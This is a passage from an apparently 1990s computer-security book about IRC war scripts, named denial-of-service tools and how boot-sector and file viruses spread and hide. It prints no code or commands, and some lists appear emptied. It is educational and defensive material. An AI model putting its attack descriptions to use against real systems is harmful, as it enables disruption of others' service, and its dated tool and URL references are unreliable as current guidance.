Flash utilities (also referred to as flash bombs) belong to a class of munitions that are used on Internet Relay Chat (IRC). IRC is the last free frontier because it is spontaneous and uncontrollable. It consists of people chatting endlessly, from virtual channel to virtual channel. There is no time for advertisements, really, and even if you tried to push your product there, you would likely be blown off the channel before you had a chance to say much of anything.

In this respect, IRC is different from any other networked service on the Internet. IRC is grass roots and revolutionary Internet at its best (and worst), and with all likelihood, it will remain that way forever.

IRC was developed in Finland in the late 1980s. Some suggest that its purpose was to replace other networking tools of a similar ilk (for example, the talk service in UNIX). Talk is a system whereby two individuals can communicate on text-based terminals. The screens of both users split into two parts, one for received text and one for sent text. In this respect, talk operates a lot like a direct link between machines using any of the popular communications packages available on the market (Qmodem and ProComm Plus are good examples). The major difference is that talk occurs over the Internet; the connection is bound by e-mail address. For example, to converse with another party via talk, you issue a command as follows:

talk person@provider.com

This causes the local talk program to contact the remote talk daemon. If the person is available (and hasn't disabled incoming connections via talk), the screen soon splits and the conversation begins.

IRC differs from talk in that many people can converse at the same time. This was a major innovation, and IRC chatting has become one of the most popular methods of communication on the Net.


NOTE: IRC is one of the few places on the Internet where an individual can successfully evade even advanced detection techniques. For instance, many software pirates and crackers frequent IRC. If they are extremely paranoid, they change servers and screen names every half hour or so. Moreover, they often create their own channels instead of frequenting those already available. Finally, file transfers can be done over IRC, directly from point A to point B. No record is left of such a transfer. This differs from other types of transfers that may be closely logged. Similar types of transfers can also be made if at least one of the parties is running servers such as FTP, HTTP, or Gopher. However, IRC allows such a transfer without server software running on either box.

Internet warfare (that is, "hand-to-hand" combat) often occurs on IRC because IRC is lawless--a place where almost anything goes. Briefly, it works like this: Once connected to an IRC server, a user can go into a series of channels called chat spaces. Inside each channel, there is an operator, or a person who has some authority--authority, for example, to "kick" any user forwarding information that the operator deems objectionable. (Kicking is where the target is bumped from the channel and is forced to reconnect.) The operator can also ban a user from the channel, either temporarily or semi-permanently.


NOTE: The first person to connect to (or create) an empty channel is automatically the operator by default. Unless he voluntarily relinquishes that authority, he has complete control of the channel and can institute kick or ban actions against anyone who subsequently joins the channel.

As you might expect, people who get kicked or banned often respond angrily. This is where combat begins. Since the introduction of IRC, dozens of munitions have been developed for use in IRC combat. They are described in the following sections.

crash.irc

Although not originally designed for it, crash.irc will blow a Netcom target out of IRC. In other words, an attacker uses this utility to force a Netcom user from a channel (Netcom is a very large ISP located in northern California).

botkill2.irc

The botkill2.irc script kills bots. Bots are other automated scripts that run in the IRC environment.

ACME

ACME is a typical "war" script. Its features include flooding (where you fill the channel with garbage, thereby denying others the ability to communicate) and the ability to auto-kick someone from a channel.


NOTE: Flooding can deny other users access simply because of the volume of text run through the server. It works like this: The attacker unleashes a flooding utility that generates many, many lines of text. This text is printed across the terminals of all users currently logged to the channel. Because this text saturates the write-ahead buffer of all client programs, the victims must wait for the flood to stop before they can type any further messages. Interestingly, many flood scripts actually fashion images from various text characters. If you watch such a flood for a moment, you will see some type of image develop. This activity is similar to ASCII art, which is now a popular form of artistic expression on text-based terminals that cannot display actual graphics. Of course, flooding is very irritating and therefore, few users are willing to tolerate it, even if the art that results is attractive.

Saga

Saga is a sophisticated and complex script; it performs more functions than those used in combat. The main features are that it can

THUGS

THUGS is another war script. It blows various client programs from IRC, kicks unwanted users, seizes control of a channel, and hangs at least one known Windows IRC program.

The 7th Sphere

Another war script worth mentioning is The 7th Sphere. The help file describes the utility as "An Equal Opportunity Destroyer." Here are some of its capabilities:

There are probably several thousand IRC scripts in the void. I have not offered any locations for these utilities because there is no good reason to provide such information. These tools may be of some limited value if you happen to be on IRC and come under attack, but more often, these tools are used to harass others and deny others IRC service. It is amazing how much good programming effort goes into utilities like these. Too bad.

Additional Resources

Following are some resources related to Internet Relay Chat (IRC). These are especially valuable if you are new to IRC. I have provided these primarily because IRC is not a subject often discussed in books on the Internet. IRC has been--and will likely remain--the purview of crackers and hackers all over the world.

http://sunsite.doc.ic.ac.uk/computing/comms/irc/
http://www-home.calumet.yorku.ca/pkelly/www/synch.htm

Denial-of-Service Tools

I examine denial-of-service attacks in a more comprehensive manner at several points throughout the remainder of this book. Here, I will refrain from discussing how such attacks are implemented, but will tell you what tools are out there to do so.

Ancient Chinese "Ping of Death" Technique

The title is hilarious, right? On more than one occasion, this technique for killing a Windows NT 3.51 server has been so called. (Actually, it is more commonly called just "Ping of Death.") This is not a program, but a simple technique that involves sending abnormally large ping packets. When the target receives (or in certain instances, sends) these large packets, it dies. This results in a blue screen with error messages from which the machine does not recover. Microsoft has issued a fix for this.


Cross Reference: Read the official advisory on the Ping of Death at http://www.microsoft.com/kb/articles/q132/4/70.htm.

Syn_Flooder

Syn_Flooder is a small utility, distributed in C source, that when used against a UNIX server will temporarily render that server inoperable. It utilizes a standard technique of flooding the machine with half-open connection requests. The source is available on the Net, but I will refrain from printing it here. This is a powerful tool and, other than its research value, it is of no benefit to the Internet community. Using such a tool is, by the way, a violation of federal law, punishable by a term of imprisonment. The utility runs on any UNIX machine, but was written on the Linux platform by a well-known hacker in California.

DNSKiller

DNSKiller is a C program written and intended for execution on the Linux platform. It is designed to kill the DNS server of a Windows NT 4.0 box.

arnudp100.c

arnudp100.c is a program that forges the IP address of UDP packets and can be used to implement a denial-of-service attack on UDP ports 7, 13, 19, and 37. To understand the attack, I recommend examining a paper titled "Defining Strategies to Protect Against UDP Diagnostic Port Denial of Service Attacks," by Cisco Systems. Another good source for this information is CERT Advisory CA-96.01.


Cross Reference: Cisco Systems' "Defining Strategies to Protect Against UDP Diagnostic Port Denial of Service Attacks" can be found online at http://cio.cisco.com/warp/public/707/3.html.

CERT Advisory CA-96.01 can be found online at ftp://ftp.cert.org/pub/cert_advisories/CA-96.01.UDP_service_denial.


cbcb.c

cbcb.c is the filename for Cancelbot, written in C. This utility can be used to target Usenet news postings of others. It generates cancel control messages for each message fitting your criteria. Using this utility, you can make thousands of Usenet news messages disappear. Although this is not traditionally viewed as a denial-of-service attack, I have included it here simply because it denies the target Usenet service, or more directly, denies him his right to self expression. (No matter how obnoxious his opinion might seem to others.)

win95ping.c

The win95ping.c file is C source code and a program to reproduce and implement a form of the Ping of Death attack from a UNIX box. It can be used to blow a machine off the Net temporarily (using the oversized Ping packet technique). There are two versions: one for Linux, the other for BSD 4.4 systems.

Other resources exist, but most of them are shell scripts written for use on the UNIX platform. Nevertheless, I would expect that within a few months, tools programmed in GUI for Windows and Mac will crop up. Denial-of-service (DoS) attacks are infantile and represent only a slightly higher level of sophistication than e-mail bombing. The only benefit that comes from DoS attacks is that they will ultimately provide sufficient incentive for the programming community to completely eliminate the holes that allowed such attacks in the first place. In all other respects, denial-of-service attacks are neither interesting nor particularly clever. In any event, the following sections list some resources for them.

ANS Communications

Products by ANS Communications are designed to thwart DoS attacks. ANS Communications can be found online at

Berkeley Software Design, Inc.

Berkeley Software Design, Inc. released source code that will defeat a DoS attack. It can be found online at

MCI Security

MCI Security offers links relating to denial-of-service attacks, and can be found online at

Digital

Digital offers information on preventing DoS on the DEC platform, and can be found online at

Cisco Systems

Cisco Systems offers solutions at the router level, and can be found online at

Viruses

Viruses are serious matters. For such small entities, they can wreak havoc on a computer system. (Some viruses are as small as 380 bytes.) They are especially dangerous when released into networked environments (the Internet being one such environment).

Viruses have gained so much attention in the computing community that nearly everyone knows that viruses exist. However, some users confuse viruses with other malicious files. Therefore, I thought it might be nice to quickly define the term computer virus. Once again, if you are already well aware of these basic facts, skip ahead a few paragraphs.

A computer virus is a program, sometimes (but not necessarily) destructive, that is designed to travel from machine to machine, "infecting" each one along the way. This infection usually involves the virus attaching itself to other files.

This is markedly different from a trojan horse. A trojan horse is a static entity: malicious code nested within an otherwise harmless program. Trojans cannot travel from machine to machine unless the file that contains the trojan also travels with it. A trojan is commonly a string of computer code that has been surreptitiously placed within a trusted application. That code performs an unauthorized and hidden function, one that the user would almost certainly find objectionable. (For example, mailing out the password files to an attacker in the void, or perhaps opening a back door for him. A back door is some hidden method through which an attacker can later return to the affected machine and gain control over it.)

Viruses, in contrast, replicate. Most often, this phenomenon manifests itself by the virus attaching itself to a certain class of file. For example, it is very common for viruses to attach themselves to executable files. (On the DOS/Windows platform, viruses frequently target EXE and COM files.) Once the virus is attached to a file in this manner, the victim file itself becomes a security risk. That file, when transported to another computer system, can infect still other files that may never come in contact with the original virus program.


TIP: Note that data file viruses now exist. At least, macro viruses should (and usually are) classified under this heading. These viruses infect data files, namely documents. These are almost nonexistent, save in the Microsoft Word and Excel environments.

Try to think of a virus as a living creature for a moment. Its purpose is to infect computer systems, so it stays awake at all times, listening for activity on the system. When that activity fits a certain criterion (for example, an executable file executing), the virus jumps into action, attaching itself to the active program.


TIP: One way to tell whether a file is infected is to check its current size against the size it was when you installed it. (I wouldn't recommend using this as a method of identifying infected files, but if you find such a file using a virus checker, note the size. When you match it against the original size of the file, you will see that the file is now larger.) By subtracting the size of the virus from the file's size, you will be left with the approximate original size of the file (before it was infected).

If you have ever encountered a virus, you might have noticed that they are incredibly small (that is, for a program that can do so much). There is a good reason for this. Most viruses are written in a language called assembly language. Assembly language is classified in the computing community as a low-level language, meaning that it produces very small programs.

To understand what I mean by "low-level," consider this: Computers have become quite user friendly. Today, advanced technologies allow a user to almost "talk" to a machine and get suitable answers. (Consider, for example, the new Answer wizards in Microsoft products. You can basically type out a question in plain English. The internal program routines parse your question and search the database, and out comes the answer.) This is quite a parlor trick, and gives the illusion that the machine is conversing with you.

In reality, computers speak a language all their own. It is called machine language, and it consists of numbers and code that are unreadable by a human being. The classification of a "low" or "high" language depends solely on how close (or how far) that language is from machine language. A high- or medium-level language is one that involves the use of plain English and math, expressed much in the same manner as you might present it to a human being. BASIC, Pascal, and the C programming language all fit into the medium-level class of language: You can "tell" the machine what each function is, what it does, and how it does it.

Assembly language is only one step removed from machine language and is therefore a very low-level language. And, because it speaks so directly to the machine's hardware, the resulting programs are very small. (In other words, the translation process is minimal. This is greatly different from C, where substantial translation must occur to get the plain English into machine-readable code. The less translation that has to be done, the smaller the binary that results.)


Cross Reference: If you want to learn more about Assembly Language, there is an excellent page on the Web that sports a search engine through which you can incisively search terms, functions and definitions. That site is http://udgftp.cencar.udg.mx/ingles/tutor/Assembler.html.

Programs written in assembly language execute with great speed, often many times faster than those written in higher-level languages. So, viruses are small, fast, and, to users who are unprepared, difficult to detect.

There are many different types of viruses, but one of the most critical is the boot sector virus. To get you started on understanding how viruses work, I have picked the boot sector virus as a model.

Many users are unaware of how their hard disk drive works in conjunction with the rest of the system. I want to explore that process for just a moment. Please examine Figure 14.6.

Figure 14.6.
Location of the master boot record.

Hard disks drives rely upon data stored in the master boot record (MBR) to perform basic boot procedures. The MBR is located at cylinder 0, head 0, sector 1. (Or, Logical Block Address 0. LBA methods of addressing vary slightly from conventional addressing; Sector 1=LBA 0.)

For such a small area of the disk, the MBR performs a vital function: It explains the characteristics of the disk to every other program that happens by. To do this, it stores information regarding the structure of the disk. This information is referred to as the partition table.


NOTE: If this sounds confusing, think about when you partition a disk. DOS/Windows users do this using a program called FDISK.EXE. UNIX users also have several similar utilities, including fdisk, cfdisk, and so on. Before partitioning a disk, it is customary to examine the partition table data. (At least, you will if you want to be safe!) These programs read the partition information from the MBR partition table. This information characteristically tells you how many partitions there are, their size, and so forth. (UNIX users will even see the type of partition. DOS/Windows users cannot identify partitions not commonly used on the AT platform. Whenever these are present, the type is listed as UNKNOWN.)

When a machine boots up, it proceeds, assuming that the CMOS settings are correct. These values are read and double-checked. If it finds that the default boot disk is actually 1GB when the BIOS settings suggest 500MB, there will be a problem. (The machine will not boot, and an error message will be generated.) Similarly, the RAM is tested for bad memory addresses. Eventually, when no errors have been encountered, the actual boot process begins. At that stage, the MBR takes the helm and the disk boots. When the boot sector has been infected by a virus, a critical situation develops.

As explained by the specialists at McAfee, the leading virus protection vendor:

Master Boot Record/Boot Sector (MBR/BS) infectors are those viruses that infect the MBR and/or boot sector of hard drives and the boot sector of floppy diskettes. These viruses are the most successful viruses in the world. This is because they are fairly simple to write, they take control of the machine at a very low level, and are often "stealthy." Eighty percent of the calls McAfee Support receives are on this type of virus.


Cross Reference: The previous paragraph is excerpted from an article titled "Top Master Boot Record/Boot Sector Infecting Viruses," produced by McAfee Associates. This paper can be found online at http://www.mcafee.com/support/techdocs/vinfo/1101.html.

MBR viruses are particularly insidious because they attack floppy disks whenever they are accessed by your machine. It is for this reason that MBR viruses are so commonly seen in the wild--because they infect floppies, they can travel from machine to machine fairly easily.

In any event, assume for the moment that you have a "clean" MBR. How does a virus manage to infect it? The infection process happens when you boot with an infected floppy diskette. Consider this situation: You decide that you are going to load a new operating system onto the drive. To do this, you use a boot floppy. (This boot floppy will contain a small boot routine that guides you through the installation.) Fine. Take a look at Figure 14.7.

Figure 14.7.
The infection illustrated.

During the boot process, the virus loads itself into memory, although generally not the upper memory. In fact, very few viruses are known to reside in upper memory. When one does, it is usually because it has piggybacked its way there; in other words, it has attached itself to an executable or a driver that always loads high. This is rare.

Once loaded into memory, the virus reads the MBR partition information. In some cases, the virus programmer has added a routine that will check for previous infection of the MBR. It checks for infection not only by his own virus, but by someone else's as well. This procedure is usually limited in scope, because the programmer wants to save resources. A virus that could check for many other viruses before installing would characteristically be larger, more easily detected, less easily transmitted, and so forth. In any event, the virus then replaces the MBR information with its own, modified version. The installation procedure is complete.


NOTE: The majority of boot sector viruses also contain some provision for storing the original MBR elsewhere on the drive. There is a good reason for this. It isn't because the virus programmer is a nice person and intends to eventually return the MBR to its original state. Rather, it is because he has to. Many important functions require that the MBR be read on initialization. Typically, a virus will keep a copy of the original and offer it up whenever other processes request it. In this way, the virus remains hidden because these functions are never alerted to the fact that the MBR was in any way altered. Sneaky, right? When this technique is used correctly, it is referred to as stealth.

I have personal experience with just such a virus, called antiexe. A friend came to my office so I could assist him in preparing a presentation. He brought with him a small laptop that had been used at his company. Apparently, one of the employees had been playing a game on the laptop that required a boot disk. (Some games have strange memory-management routines that are not compatible with various user configurations. These typically request that you generate a boot disk and undertake other annoying procedures.) Through a series of unfortunate events, this virus was transferred from that laptop to one of my machines. The curious thing is this: I did have a terminate-and-stay-resident (TSR) virus checker installed on the infected machine. This was a well-known product, but I will not mention its name here lest I cause a panic. For some inexplicable reason, the TSR virus checker did not catch antiexe when it infected my MBR, but only after the machine was rebooted a day or so later. At any rate, I woke to find that my machine had been infected. Antiexe is described in the CIAC database as follows:

The virus hides in the boot sector of a floppy disk and moves the actual boot sector to cyl: 0, side: 1, sector: 15. On the hard disk, the virus infects the partition table, the actual partition table is on cyl: 0, side: 0, sector: 13. These are normally unused sectors, so disk data is not compromised by the virus insertion. The virus uses stealth methods to intercept disk accesses for the partition table and replaces them with the actual partition table instead of the virus code. You must boot a system without the virus in memory to see the actual virus code.

It was no problem to eliminate the virus. The same product that initially failed to detect antiexe destroyed it without event. The time I lost as a result was minimal.

Most viruses do not actually destroy data; they simply infect disks or files. There are, however, many occasions on which infection alone is enough to disrupt service; for example, some drivers operate erratically when infected. This is not to say, however, that there are no destructive viruses.

Who writes viruses? Many different types of programmers from many different walks of life. Kids are a common source. There are kits floating around on the Internet that will assist budding programmers in creating viruses. It has been theorized that young people sometimes write viruses to "make their mark" on the computing communities. Because these young people do not actually work in computer programming, they figure that writing a virus is one way to make a name for themselves. (A good percentage of virus authors take a pseudonym or "handle" and write under that. This moniker is sometimes found within the code of the virus.)


Cross Reference: There is a fascinating paper on the Internet regarding the rise of virus- development groups in Eastern Europe that describes how the virus took these programming communities by storm. Ultimately, bulletin board systems were established where virus authors could exchange code and ideas. The paper is extremely thorough and makes for absorbing reading, giving a bird's eye view of virus development in a noncapitalist environment. It is called "The Bulgarian and Soviet Virus Factories"; it was written by Vesselin Bontchev, Director of the Laboratory of Computer Virology at the Bulgarian Academy of Sciences in Sofia, Bulgaria. The paper can be found at http://www.drsolomon.com/ftp/papers/factory.txt.

One interesting aspect of the virus-writing community is that vanity, envy, and fierce competition often influence the way such viruses are written. For example:

Some computer viruses are designed to work not only in a "virgin" environment of infectable programs, but also on systems that include anti-virus software and even other computer viruses. In order to survive successfully in such environments, those viruses contain mechanisms to disable and/or remove the said anti-virus programs and "competitor" viruses. Examples for such viruses in the IBM PC environment are Den_Zuko (removes the Brain virus and replaces it with itself), Yankee_Doodle (the newer versions are able to locate the older ones and "upgrade" the infected files by removing the older version of the virus and replacing it with the newer one), Neuroquila (disables several anti-virus programs), and several other viruses.


Cross Reference: The preceding paragraph is excerpted from an article by Vesselin Bontchev (a research associate at the Virus Test Center at the University of Hamburg) titled "Are `Good' Computer Viruses Still a Bad Idea?" This paper can be found online at http://www.virusbtn.com/OtherPapers/GoodVir/.

As I have already noted, many programmers develop viruses using virus kits, or applications that are designed specifically to generate virus code. These kits are circulated on the Internet. Here are the names of a few:

These kits are usually quite easy to use, thereby allowing almost anyone to create a virus. (This is in contrast to the "old days," when advanced programming knowledge was required.) This has resulted in an increase in viruses in the wild.


NOTE: A virus is deemed in the wild when it has escaped or been released into the general population. That is, the wild refers to any computing environment outside the academic or development environment where the virus was created and tested. This term is purportedly derived from lingo used in reference to environments where biological warfare experiments are conducted. These studies are typically conducted under controlled circumstances, where no danger is posed to the surrounding communities. However, when a biological virus escapes its controlled environment, it is deemed to have entered the wild. Today, computer virus researchers refer to the Internet (or any publicly accessible computing environment) as the wild.

Reportedly, the first virus ever detected in the wild emerged in 1986. It was called the Brain virus. According to the CIAC Virus Database at the U.S. Department of Energy, the Brain virus was a memory-resident boot sector virus:

This virus only infects the boot sectors of 360 KB floppy disks. It does no malicious damage, but bugs in the virus code can cause loss of data by scrambling data on diskette files or by scrambling the File Allocation Table. It does not tend to spread in a hard disk environment.

The following year brought with it a host of different viruses, including some that did actual damage. The Merrit virus (which emerged in 1987) could destroy the file allocation table (FAT) on a floppy disk. This virus apparently went through several stages of evolution, the most dangerous of which was a version called Golden Gate. Golden Gate reportedly could reformat the hard disk drive.

Since then, innovations in virus technology have caused these creatures to become increasingly complex. This has led to classifications. For example, there are basically three types of virus:

I have already briefly examined a MBR virus in this chapter. The only material difference between that type and a garden-variety boot sector virus is that boot sector viruses target floppies. However, the third class of virus (the file virus) is a bit different. In contrast to boot sector viruses (which attack only a small portion of the disk), file viruses can spread systemwide.

Most often, file viruses infect only a particular class of file--usually executable files. COM and EXE files are good examples. File viruses, however, are not restricted to executables; some will infect overlay files (OVL) or even system driver files (SYS, DRV).


NOTE: Do you remember that I explained that viruses are rarely found in upper memory? When such viruses are found, they are usually riding on a driver, such as a SYS or DRV file. PC users who worked extensively with the DOS/Windows combination will remember various drivers that required an upper-memory load.

It is estimated that there are currently more than 7,000 file viruses on the DOS platform alone. As you might expect, virus authors are eager to write file viruses because of how far these can spread. Given 10 days on a computer system, a file virus can effectively infect the majority (or perhaps even all) of the executable files on the hard disk drive. This is due to the manner in which file viruses operate. (See Figure 14.8.)

Figure 14.8.
Normal operation and execution of a program.

Under normal operations (on a noninfected machine), a command is executed and loaded into memory without event. (This could equally be a COM file. In Figure 14.8, I just happened to have used the .EXE extension.) When a file virus is present, however, the process is complicated because the virus now intercepts the call. (See Figure 14.9.)

Figure 14.9.
Loading a program with a file virus present.

First, the virus temporarily intercepts the process for long enough to infect the program file. After infecting the program file, the virus releases its control over the system, returning the reins to the operating system. The operating system then loads the infected file into memory. This process will be repeated for each file loaded into the system memory. Stop and think for a moment about this. How many files are loaded into memory in the course of a business day? This is how file viruses ultimately achieve systemic infection of the system.

In addition to the classifications of viruses, there are also different types of viruses. These types are derived from the manner in which the virus operates or what programming techniques were employed in its creation. Here are two:

Virus technology continues to increase in complexity, largely due to the number of new viruses that are discovered. The likelihood of contracting a virus on the Internet is slim, but not impossible. It depends on where you go. If you are an individual and you frequent the back alleys of the Internet, you should exercise caution in downloading any file (digitally signed or otherwise). Usenet newsgroups are places where viruses might be found, especially in those newsgroups where hot or restricted material is trafficked. Examples of such material include warez (pirated software) or pornography. I would strongly caution against downloading any zipped or archived file from groups trafficking this type of material. Similarly, newsgroups that traffic cracking utilities are suspect.

If you are a system administrator, I have different advice. First, it is true that the majority of viruses are written for the IBM-compatible platforms (specifically, platforms on which users run DOS, Windows, Windows NT, and Windows 95). If your network is composed of machines running these operating systems and you offer your users access to the Internet, you have a problem.

There is no reliable way to restrict the types of files that your users download. You can institute policies that forbid all downloads, and your users will probably still download a file here and a file there. Human nature is just that way. Therefore, I would recommend that you run memory-resident virus scanners on all machines in the domain, 24 hours a day. (At the end of this section, you will find some resources for obtaining such products.)

To learn more about how viruses work, you should spend some time at a virus database on the Internet. There are several such databases that provide exhaustive information on known viruses. The most comprehensive and useful site I have ever found is at the Department of Energy.


Cross Reference: Find the Department of Energy site online at http://ciac.llnl.gov/ciac/CIACVirusDatabase.html.

The list is presented in alphabetical order, but can be traversed by searching for platform. You will instantly see that most viruses were written for the Microsoft platform, and the majority of those for DOS. What you will not see are any known in-the-wild viruses for UNIX. However, by the time this book is printed, such information may be available. There is talk on the Internet of a virus for the Linux platform called Bliss.

Reports on Bliss at the time of this writing are sketchy, but it appears that Bliss is a virus. There is some argument on the Internet as to whether Bliss qualifies more as a trojan, but the majority of reports suggest otherwise. Furthermore, it is reported that it compiles cleanly on other UNIX platforms.


Cross Reference: The only known system tool that checks for Bliss infection was written by Alfred Huger and is located online at ftp://ftp.secnet.com/pub/tools/abliss.tar.gz.

It is extremely unlikely that your box would be infected. The author of the program took steps to prevent all but experienced programmers from unpacking and using this virus. However, if you should discover that your machine is infected with this new virus, you should immediately submit a report to Usenet and several bug lists, describing what, if any, damage has been done to your system.

I would like to explain why the majority of viruses are written for personal computer platforms and not for UNIX, for example. In UNIX (and also in Windows NT), great control can be exercised over who has access to files. Restrictions can be placed on a file so that user A can access the file but user B cannot. Because of this phenomenon (called access control), viruses would be unable to travel very far in such an environment. They would not, for example, be able to cause a systemic infection.

In any event, viruses do represent a risk on the Internet. That risk is obviously more relevant to those running DOS or any variant of Windows. Following are some tools to keep your system safe from virus attack.

Virus Utilities

Following is a list of well-known and reliable virus-detection utilities. I have experience using all the entries in this list, and can recommend every one. However, I should stress that just because a utility is absent from this list does not mean that it isn't good. Hundreds of virus-detection utilities are available on the Internet. Most of them employ similar techniques of detection.

VirusScan for Windows 95

VirusScan for Windows 95 by McAfee can be found online at

Thunderbyte Anti-Virus for Windows 95

Thunderbyte Anti-Virus for Windows 95 can be found online at

Norton Anti-Virus for DOS, Windows 95, and Windows NT

Norton Anti-Virus for DOS, Windows 95, and Windows NT by Symantec can be found online at

ViruSafe

ViruSafe by Eliashim can be found online at

PC-Cillin II

PC-Cillin II by Check-It can be found online at

FindVirus for DOS v. 7.68

Dr. Solomon's FindVirus for DOS version 7.68 can be found online at

Sweep for Windows 95 and Windows NT

Sweep for Windows 95 and Windows NT by Sophos can be found online at

Iris Antivirus Plus

Iris Antivirus Plus by Iris Software can be found online at

LANDesk Virus Protect v4.0 for NetWare and Windows NT

LANDesk Virus Protect version 4.0 for NetWare and Windows NT by Intel can be found online at

Norman Virus Control

Norman Virus Control by Norman Data Defense Systems can be found online at

F-PROT Professional Anti-Virus Toolkit

F-PROT Professional Anti-Virus Toolkit by DataFellows can be found online at

The Integrity Master

The Integrity Master by Stiller Research can be found online at

There are quite literally hundreds of virus scanners and utilities. I have mentioned these primarily because they are easily available on the Internet and because they are updated frequently. This is an important point: Viruses are found each day, all over the world. Because virus authors continue to churn out new works (and these often implement new techniques, including stealth), it is imperative that you get the very latest tools.

Conversely, perhaps you have some old machines lying around that run early versions of this or that operating system. On such systems, you may not be able to run Windows 95 or Windows NT software. To present you with a wide range of choices, I suggest that you go to one of the following sites, each of which has many, many virus utilities:

The Simtel.Net MS-DOS Collection at the OAK Repository

The Simtel.Net MS-DOS collection at the OAK repository offers virus detection and removal programs. This site is located online at

The Simtel.Net Windows 3.x Collection at the OAK Repository

The Simtel.Net Windows 3.x collection at the OAK repository offers virus detection and removal programs. This site is located online at

Summary

Destructive devices are of significant concern not only to those running Internet information servers, but to all users. Many people find it hard to fathom why anyone would create such programs, especially because data is now so heavily relied on. This is a question that only virus writers can answer. In any event, every user (particularly those who use the Internet) should obtain a basic education in destructive devices. If you are now using the Internet, it is very likely that you will eventually encounter such a device. For this reason, you must observe one of the most important commandments of computer use: back up frequently. If you fail to observe this, you may later suffer serious consequences.

Resources

The following is a list of articles, books, and Web pages related to the subject of computer viruses. Some of the books are a bit dated, but are now considered standards in the field.

Robert Slade's Guide to Computer Viruses : How to Avoid Them, How to Get Rid of Them, and How to Get Help (Second Edition). Springer. 1996. ISBN 0-387-94663-2.

Virus: Detection and Elimination. Rune Skardhamar. AP Professional. 1996. ISBN 0-12-647690-X.

The Giant Black Book of Computer Viruses. Mark A. Ludwig. American Eagle. 1995.

1996 Computer Virus Prevalence Survey. NCSA National Computer Security Association. (Very good.)

The Computer Virus Crisis. Fites, Johnson, and Kratz. Van Nostrand Reinhold Computer Publishing. ISBN 0-442-28532-9. 1988.

Computer Viruses and Related Threats: a Management Guide. National Technical Information Service (NTIS). PB90-115601CAU.

A Passive Defense Against Computer Viruses. Frank Hoffmeister. Proceedings of the IASTED International Symposium Applied Informatics. pp. 176-179. Acta Press. 1987.

PC Security and Virus Protection: the Ongoing War Against Information Sabotage. Pamela Kane. M&T Books. ISBN 1-55851-390-6. 1994.

How Prevalent are Computer Viruses? Jeffrey O. Kephart and Steve R. White. Technical Report RC 17822 No78319. Watson. 1992.

A Short Course on Computer Viruses (Second Edition). Frederick B. Cohen. Series title: Wiley Professional Computing. John Wiley & Sons. 1994. ISBN 1-471-00769-2

A Pathology of Computer Viruses. David Ferbrache. Springer-Verlag. ISBN 0-387-19610-2; 3-540-19610-2. 1992.

The Virus Creation Labs: A Journey into the Underground. George Smith. American Eagle Publications. ISBN 0-929408-09-8. Also reviewed in Net Magazine, February 1996.

Viruses in Chicago: The Threat to Windows 95. Ian Whalley, Editor. Virus Bulletin. Abingdon Science Park, England.

Computer Virus Help Desk. Courtesy of the Computer Virus Research Center. Indianapolis, Indiana.

European Institute for Computer Anti-Virus Research.

Future Trends in Virus Writing. Vesselin Bontchev. Virus Test Center. University of Hamburg.

A Biologically Inspired Immune System for Computers. Jeffrey O. Kephart. High Integrity Computing Laboratory, IBM. Thomas J. Watson Research Center.

Dr. Solomon's Virus Encyclopedia.

An Overview of Computer Viruses in a Research Environment. Matt Bishop. Washington, D.C.: National Aeronautics and Space Administration. Springfield, Va. Distributor: National Technical Information Service. 1991.

Internet Computer Virus and the Vulnerability of National Telecommunications Networks to Computer Viruses. Jack L. Brock. November 1988. GAO/T-IMTEC-89-10, Washington, D.C., 20 July 1989. Testimonial statement of Jack L. Brock, Director, U. S. Government Information before the Subcommittee on Telecommunications and Finance, Committee on Energy and Commerce, House of Representatives.

A Guide to the Selection of Anti-Virus Tools and Techniques. W. T. Polk and L. E. Bassham. National Institute of Standards and Technology Computer Security Division.